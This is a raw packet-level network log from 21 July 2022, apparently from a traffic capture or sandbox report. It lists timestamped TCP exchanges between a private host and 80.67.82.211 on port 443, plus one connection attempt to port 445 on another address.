Jul 21, 2022 04:34:44.287950993 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.287961006 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.287987947 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.287997961 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.288017035 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.288028955 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.288069963 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.288101912 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.288853884 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.288894892 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.288966894 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.289052963 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.289067030 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.289086103 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.289119959 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.289663076 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.289699078 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.289845943 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.289861917 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.289902925 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.289979935 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.289988995 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.290230036 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.290261030 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.290352106 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.290370941 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.290391922 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.290397882 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.290399075 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.290420055 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.290426016 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.290481091 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.298522949 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.298554897 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.298644066 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.298661947 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.298695087 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.298715115 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.299101114 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.299143076 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.299231052 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.299252987 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.299288988 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.299310923 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.300404072 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.300450087 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.300530910 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.300548077 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.300586939 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.300612926 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.301024914 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.301120996 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.301317930 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.301414013 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.302285910 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.302329063 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.302395105 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.302417994 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.302436113 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.302464962 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.302975893 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.303005934 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.303076029 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.303092957 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.303137064 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.303157091 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.303319931 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.303356886 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.303411961 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.303427935 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.303457022 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.303481102 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.303503990 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.303540945 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.303602934 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.303617954 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.303642988 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.303669930 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.303985119 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.304094076 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.304285049 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.304375887 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.304788113 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.304821014 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.304896116 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.304914951 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.304932117 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.305021048 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.305306911 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.305352926 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.305408001 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.305425882 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.305458069 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.305479050 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.305824041 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.305869102 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.305932045 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.305943966 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.305994987 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.306016922 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.306149006 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.306185961 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.306698084 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.306737900 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.306843042 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.306902885 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.306905031 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.306921005 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.306922913 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.306962013 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.306998014 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.307454109 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.307506084 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.307518959 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.307691097 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.307723999 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.307831049 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.307872057 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.308013916 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.308029890 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.308029890 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.308043957 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.308052063 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.308069944 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.308101892 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.308151960 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.308161020 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.308161974 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.308166027 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.308720112 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.308721066 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.308725119 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.308756113 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.308763981 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.308772087 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.308815956 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.308821917 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.308830023 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.308875084 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.308880091 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.308888912 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.308914900 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.308937073 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.308943987 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.308973074 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.308978081 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.309007883 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.309026003 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.309039116 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.309128046 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.309133053 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.309140921 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.309146881 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.309156895 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.309253931 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.309264898 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.309293985 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.309318066 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.309617043 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.309653997 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.309725046 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.309737921 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.309763908 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.309781075 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.309895992 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.309973955 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.309987068 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.309998035 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.310010910 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.310039043 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.310076952 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.313000917 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.313045025 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.313136101 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.313153982 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.313175917 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.313189983 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.313209057 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.313225031 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.313286066 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.313299894 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.313321114 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.313334942 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.313359976 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.313411951 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.313628912 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.313843966 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.313967943 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.314011097 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.314063072 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.314074039 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.314080954 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.314116955 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.314116955 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.314156055 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.314168930 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.314203978 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.314204931 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.314222097 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.314749002 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.314862967 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.315037012 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.315073967 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.315130949 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.315144062 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.315179110 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.315197945 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.316042900 CEST	50584	445	192.168.2.6	91.158.161.236
Jul 21, 2022 04:34:44.316819906 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.316863060 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.317068100 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.317085981 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.317131996 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.317332029 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.317370892 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.317423105 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.317437887 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.317456961 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.317500114 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.317756891 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.317837954 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.318270922 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.318311930 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.318381071 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.318397999 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.318434954 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.318454981 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.318757057 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.318846941 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.319148064 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.319192886 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.319255114 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.319276094 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.319340944 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.319895029 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.319948912 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.320053101 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.320071936 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.320092916 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.320116043 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.320158958 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.320197105 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.320260048 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.320290089 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.320301056 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.320333958 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.320374012 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.320415974 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.320503950 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.320576906 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.320616007 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.320656061 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.320677042 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.320693016 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.320792913 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.320882082 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.321016073 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.321052074 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.321067095 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.321120977 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.321135998 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.321155071 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.321181059 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.321726084 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.321765900 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.321820021 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.321831942 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.321865082 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.321881056 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.322244883 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.322284937 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.322357893 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.322381020 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.322402000 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.324420929 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.324469090 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.324639082 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.324640989 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.324659109 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.325057030 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.326693058 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.326782942 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.326857090 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.326899052 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.326944113 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.326953888 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.326968908 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.326977968 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.326991081 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.327034950 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.327050924 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.327059031 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.327075005 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.327078104 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.327085018 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.327116966 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.327202082 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.327214003 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.327223063 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.327243090 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.327256918 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.327263117 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.327313900 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.327327967 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.327358007 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.327382088 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.327425957 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.327469110 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.327507973 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.327522039 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.327552080 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.327580929 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.328032970 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.328135014 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.328255892 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.328434944 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.329483986 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.329515934 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.329600096 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.329617977 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.329662085 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.329689026 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.329701900 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.329720020 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.329761982 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.329771996 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.330451012 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.330485106 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.330526114 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.330550909 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.330562115 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.330565929 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.330575943 CEST	50549	443	192.168.2.6	80.67.82.211
